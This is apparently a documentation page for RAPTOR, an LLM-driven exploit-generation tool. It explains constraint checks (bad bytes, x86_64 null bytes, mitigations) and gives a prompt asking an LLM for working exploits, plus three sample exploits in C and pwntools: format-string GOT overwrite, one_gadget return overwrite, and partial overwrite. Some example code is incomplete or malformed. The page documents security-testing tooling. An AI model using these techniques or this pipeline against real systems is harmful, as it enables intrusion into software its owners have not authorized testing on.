Skip to main content

Overview

RAPTOR generates working exploit proof-of-concepts using LLM-powered analysis combined with runtime constraint validation. The system verifies architectural constraints before attempting techniques to avoid wasted effort.
For authorized security testing only. Never use generated exploits against systems you don’t own or have explicit permission to test.

Core Principle

Verify constraints BEFORE attempting any exploit technique.Many hours can be wasted attempting techniques that are architecturally impossible. Check constraints first, then choose appropriate techniques.

Constraint Validation

Before generating exploits, RAPTOR analyzes what’s actually possible:

1. Bad Bytes

What bytes cannot appear in the payload?
Input HandlerBad BytesNotes
strcpy, strcat, sprintf0x00Null terminates
fgets, gets0x00, 0x0aNull and newline
scanf %s0x00, 0x09-0x0d, 0x20Null and whitespace
read, recvNoneBinary safe

2. Architecture Constraints

Pointer Size: 8 bytesCritical Issue: Userland addresses are 0x00007fff... format. In little-endian:
0x00007fff12345678 → bytes: 78 56 34 12 ff 7f 00 00
                                                ^^^^^ null bytes at offset 6-7
Impact: strcpy copies low bytes first, then stops at null - only 6 bytes of an address can be written.Consequence: Multi-gadget ROP chains are blocked with strcpy on x86_64.

3. Mitigations

MitigationImpactBypass Techniques
NXNo shellcode on stack/heapROP, ret2libc, mprotect
ASLRRandomized addressesInfo leak, partial overwrite
PIERandomized binary baseInfo leak for binary addresses
Stack CanaryDetects stack overflowLeak canary, format string
Full RELROGOT read-onlyTarget other writable areas
glibc 2.38+%n disabledUse different write primitive

Using Mitigation Analysis

1

Run Analysis First

Always run mitigation analysis before exploit development:
from packages.exploit_feasibility import analyze_binary

result = analyze_binary('/path/to/binary')
print(result['summary'])
2

Check Blocked Techniques

Review what won’t work:
blocked = result['constraints']['blocked_techniques']
for technique in blocked:
    print(f"✗ {technique}")
Example output:
✗ strcpy multi-gadget ROP (null bytes at position 6)
✗ strcpy ret2libc chain (pop_rdi + bin_sh + system)
3

Use Viable Techniques

Focus on what works:
viable = result['constraints']['viable_techniques']
for technique in viable:
    print(f"✓ {technique}")
Example output:
✓ format string %n writes
✓ partial overwrite (2 bytes)
✓ one_gadget (single gadget redirect)
4

Check Exploitation Paths

See complete attack chains:
paths = result['exploitation_paths']
for vuln_type, analysis in paths.items():
    print(f"{vuln_type}: {analysis['verdict']}")
    print(f"  Reason: {analysis['verdict_reason']}")

LLM Model Requirements

Exploit Generation Process

The LLM follows this workflow:
def generate_exploit(self, vuln: VulnerabilityContext) -> bool:
    """Generate proof-of-concept exploit."""
    
    if not vuln.exploitable:
        return False
        
    prompt = f"""
    You are Mark Dowd creating a proof-of-concept exploit.
    
    Vulnerability:
    - Type: {vuln.rule_id}
    - File: {vuln.file_path}:{vuln.start_line}
    
    Analysis:
    {json.dumps(vuln.analysis, indent=2)}
    
    Vulnerable Code:
    {vuln.full_code}
    
    Create a WORKING exploit that:
    1. Demonstrates this specific vulnerability
    2. Is safe for isolated lab testing
    3. Includes clear comments explaining the attack
    4. Has detailed output showing successful exploitation
    5. Prefer C++ for binary exploits, Python for web
    
    Write complete, executable code.
    """
    
    response = self.llm.generate(
        prompt=prompt,
        temperature=0.8  # Higher creativity
    )
    
    exploit_code = self._extract_code(response.content)
    # Save to file...

Real Exploit Examples

Example 1: Format String Exploit

Format strings are powerful because %n can write null bytes (unlike strcpy).
#include <stdio.h>
#include <stdint.h>
#include <string.h>

/*
 * Format String Exploit for vulnerable_server
 * 
 * Vulnerability: printf(user_input) with no format string
 * Target: Overwrite GOT entry for exit() with one_gadget
 * 
 * Constraints:
 * - Stack position of user_input: argv[1] is at 6th position
 * - GOT[exit]: 0x404028
 * - one_gadget offset: 0xe3b01 (from libc base)
 * 
 * Attack: Use %n to write address byte-by-byte
 */

int main(int argc, char **argv) {
    // Exploit payload construction
    char payload[512];
    
    // Target address: GOT[exit] = 0x404028
    uint64_t target = 0x404028;
    
    // Value to write: one_gadget = libc_base + 0xe3b01
    // Assume leaked libc base = 0x7ffff7a00000
    uint64_t one_gadget = 0x7ffff7ae3b01;
    
    // Build format string to write one_gadget to target
    // Using %hhn to write one byte at a time
    
    // Position of addresses on stack (after format string)
    int pos = 10;  // Adjust based on stack layout
    
    // Write each byte using %c to reach desired value
    sprintf(payload,
        "%%0x"  // Padding
        "%%%d$hhn"  // Write byte 0
        "%%%d$hhn"  // Write byte 1
        // ... continue for all 8 bytes
        , pos, pos+1);
    
    // Append target addresses
    memcpy(payload + strlen(payload), &target, 8);
    memcpy(payload + strlen(payload), &target + 1, 8);
    
    printf("[*] Exploit payload: %s\n", payload);
    printf("[*] Send this to vulnerable server\n");
    
    return 0;
}

Example 2: One-Gadget Exploit

One-gadgets solve the “only one address with strcpy” problem on x86_64.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * Buffer Overflow with one_gadget
 * 
 * Vulnerability: strcpy with no bounds checking
 * Constraint: strcpy on x86_64 can only write 6 bytes (null terminates)
 * Solution: Use one_gadget (single address that spawns shell)
 * 
 * one_gadget candidates:
 * 0xe3b01 execve("/bin/sh", rsp+0x50, environ)
 * constraints: [rsp+0x50] == NULL
 * 
 * Attack: Overwrite return address with one_gadget
 */

int main() {
    // Leak libc base (assume obtained via separate info leak)
    void *libc_base = (void *)0x7ffff7a00000;
    
    // one_gadget offset from libc base
    void *one_gadget = libc_base + 0xe3b01;
    
    // Build payload: padding + one_gadget address
    char payload[128];
    memset(payload, 'A', 72);  // Fill buffer + saved RBP
    
    // Overwrite return address with one_gadget
    // Only write 6 bytes (strcpy stops at null byte)
    memcpy(payload + 72, &one_gadget, 6);
    payload[78] = '\0';  // Null terminate
    
    printf("[*] Payload: %p\n", one_gadget);
    printf("[*] Sending %d bytes\n", 78);
    
    // Send to vulnerable program...
    // execve("/vulnerable_program", ["./vulnerable_program"], env)
    
    return 0;
}

Example 3: Partial Overwrite

Partial overwrites bypass ASLR by only modifying low bytes (which aren’t randomized).
#!/usr/bin/env python3
"""
Partial Overwrite Exploit

Vulnerability: Off-by-one overflow in bounds check
Constraint: Can only overwrite 2 bytes of return address
Bypass: ASLR randomizes high bytes, low bytes are fixed

Target: main() at 0x555555554000 + offset
Goal: Redirect to win() at 0x555555554xyz (only xyz changes)

Attack: Overwrite low 2 bytes to jump to win()
"""

from pwn import *

# Settings
context.arch = 'amd64'
context.log_level = 'info'

# Addresses (low 12 bits are fixed, upper bits randomized by ASLR)
win_offset = 0x1337  # win() function offset from binary base

# Brute force if needed (ASLR has 2^12 = 4096 possibilities for 3 hex digits)
# But partial overwrite reduces this to 2^12 = reasonable brute force

def exploit():
    p = process('./vulnerable')
    
    # Leak stack canary if needed
    # ...
    
    # Build payload
    payload = b'A' * 72  # Padding to return address
    payload += p16(win_offset)  # Overwrite low 2 bytes only
    
    p.sendline(payload)
    
    try:
        p.interactive()
    except:
        p.close()
        return False
    
    return True

# Try exploit (may need multiple attempts if ASLR randomization unlucky)
for attempt in range(10):
    log.info(f"Attempt {attempt + 1}")
    if exploit():
        log.success("Exploit successful!")
        break
    time.sleep(0.1)

Technique Selection

When a technique is blocked, use alternatives:
Blocked TechniqueTry Instead
Multi-gadget ROP (null bytes)Format string %n, partial overwrite, one_gadget
GOT overwrite (Full RELRO)Stack return address, fini_array, vtable
Stack shellcode (NX)ROP, ret2libc, mprotect
Direct addresses (ASLR/PIE)Info leak first, partial overwrite, brute force
Large payload (length limit)Staged payload, reuse existing code
Full RELRO blocks both GOT AND .fini_array (standard linker scripts place both in RELRO segment). Don’t suggest .fini_array when Full RELRO is enabled.

Best Practices

Never generate exploits without checking constraints:
from packages.exploit_feasibility import analyze_binary

# MANDATORY
result = analyze_binary(binary_path)

if result['verdict'] == 'unlikely':
    print("No viable exploitation path found")
    print("Suggestions:", result['bypass_suggestions'])
RAPTOR runs empirical tests (e.g., %n verification) - trust these over version checks:
# Empirical test beats version-based assumption
if result.get('glibc_n_disabled') == True:
    print("Format string %n is CONFIRMED disabled")
    # Don't waste time on %n-based exploits
Always test exploits in isolated VMs or containers:
# Use Docker for safe testing
docker run -it --rm ubuntu:20.04 /bin/bash
# Install deps, copy exploit, test
Include constraint documentation in exploit comments:
/*
 * CONSTRAINTS:
 * - Input handler: strcpy (null bytes terminate)
 * - Architecture: x86_64 (addresses have null bytes at offset 6)
 * - Mitigations: NX, PIE, Partial RELRO
 * 
 * TECHNIQUE: one_gadget (single address, avoids null byte issue)
 */

See Also

Vulnerability Analysis

LLM-powered security analysis

Patch Creation

Generate secure patches

Build docs developers (and LLMs) love